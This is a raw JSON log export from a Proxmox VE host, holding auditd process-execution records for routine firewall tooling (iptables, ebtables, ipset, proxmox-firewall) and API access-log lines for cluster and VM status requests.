{"@timestamp":1781964175155,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.155:59905): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57527 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185394,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.394:68799): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1014d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66070 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965489529,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:48 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 942"} {"@timestamp":1781964575891,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.891:61603): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965653842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965653.842:66519): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955030 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63890 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185400,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.400:68800): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964975152,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964975.152:63440): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcf4e3aaf0 a1=6065f2964200 a2=6065f2942680 a3=5 items=1 ppid=60868 pid=60869 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964234631,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 848"} {"@timestamp":1781964175148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.148:59904): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57526 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185389,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.389:68798): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc130700 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66069 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965489529,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:48 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964575885,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.885:61602): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965653828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965653.828:66517): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63889 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185394,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.394:68799): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964971334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964971.334:63430): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60857 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964232629,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964175145,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.145:59903): arch=c000003e syscall=59 success=yes exit=0 a0=6434767dab20 a1=6434767e69f0 a2=6434767b4680 a3=5 items=2 ppid=57519 pid=57525 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185383,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.383:68797): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1014d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66068 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965489529,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:48 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964575881,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.881:61601): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965653828,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965653.828:66516): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954f70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63889 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185389,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.389:68798): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964971334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964971.334:63429): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60857 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964231640,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964175142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.142:59902): arch=c000003e syscall=59 success=yes exit=0 a0=64346faadac8 a1=7ffcc2989430 a2=6434767b4680 a3=64346fa9124e items=2 ppid=57519 pid=57521 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185377,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.377:68796): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c9780 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66067 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488448,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.878:61600): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965648817,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965648.817:66514): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63888 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185383,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.383:68797): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964971320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964971.320:63427): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964228579,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964175140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.140:59901): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcc29893f0 a1=6434767d61c0 a2=6434767b4680 a3=5 items=2 ppid=57519 pid=57520 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185368,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.368:68795): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66066 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965488448,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:47 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 938"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.878:61599): argc=1 a0=\"date\""} {"@timestamp":1781965648815,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965648.815:66513): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63888 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185377,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.377:68796): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964971320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964971.320:63426): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964228579,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:47 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964175135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.135:59899): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57519 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185361,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.361:68794): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66065 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965487319,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:46 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 886"} {"@timestamp":1781964575874,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.874:61597): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965648810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965648.810:66511): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63887 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185368,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.368:68795): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964966311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.311:63424): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964227581,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:46 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964175130,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.130:59898): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57518 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185357,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.357:68793): arch=c000003e syscall=59 success=yes exit=0 a0=56d34b1f10e0 a1=56d34b1ede60 a2=56d34b1cf680 a3=5 items=2 ppid=66058 pid=66064 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965486307,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 511"} {"@timestamp":1781964575867,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.867:61596): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965648810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965648.810:66510): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63887 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185361,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.361:68794): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964966311,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.311:63423): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964224658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:43 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964175124,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.124:59897): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57517 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185354,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.354:68792): arch=c000003e syscall=59 success=yes exit=0 a0=56d31cacbac8 a1=7ffff0bd9490 a2=56d34b1cf680 a3=56d31caaf24e items=2 ppid=66058 pid=66060 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965486307,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:45 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964575861,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.861:61595): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965646165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.165:66505): arch=c000003e syscall=59 success=no exit=-2 a0=7ffe185181e0 a1=5c216df42b40 a2=5c216df25680 a3=5 items=1 ppid=63878 pid=63879 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185357,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.357:68793): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964966303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.303:63421): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964223708,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:42 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964175118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.118:59896): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e1bb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57516 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185353,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.353:68791): arch=c000003e syscall=59 success=yes exit=0 a0=7ffff0bd9450 a1=56d34b1d6310 a2=56d34b1cf680 a3=5 items=2 ppid=66058 pid=66059 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965486307,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:45 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781964575856,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.856:61594): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965646042,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965646.042:66487): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc10e743d0 a1=5957c0069310 a2=5957c0062680 a3=5 items=1 ppid=63859 pid=63860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185354,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.354:68792): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964966303,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.303:63420): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964222628,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:41 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 842"} {"@timestamp":1781964175112,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.112:59895): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ede80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57515 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185349,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.349:68789): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66058 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965486307,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:45 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964575850,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.850:61593): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965643797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965643.797:66477): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63849 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185353,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.353:68791): argc=1 a0=\"date\""} {"@timestamp":1781964966101,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.101:63416): arch=c000003e syscall=59 success=no exit=-2 a0=7fffe96c93f0 a1=6464a1d0c390 a2=6464a1cea680 a3=5 items=1 ppid=60847 pid=60848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964220633,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:39 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1082"} {"@timestamp":1781964175105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964175.105:59894): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139a60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57514 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185342,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966185.342:68788): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66057 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965486307,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:45 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 914"} {"@timestamp":1781964575844,"@rawstring":"node=pve type=EXECVE msg=audit(1781964575.844:61592): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965643797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965643.797:66476): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63849 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185349,"@rawstring":"node=pve type=EXECVE msg=audit(1781966185.349:68789): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964966021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964966.021:63398): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc7968d590 a1=636e4eef0410 a2=636e4eece680 a3=5 items=1 ppid=60828 pid=60829 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964220006,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:38 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} 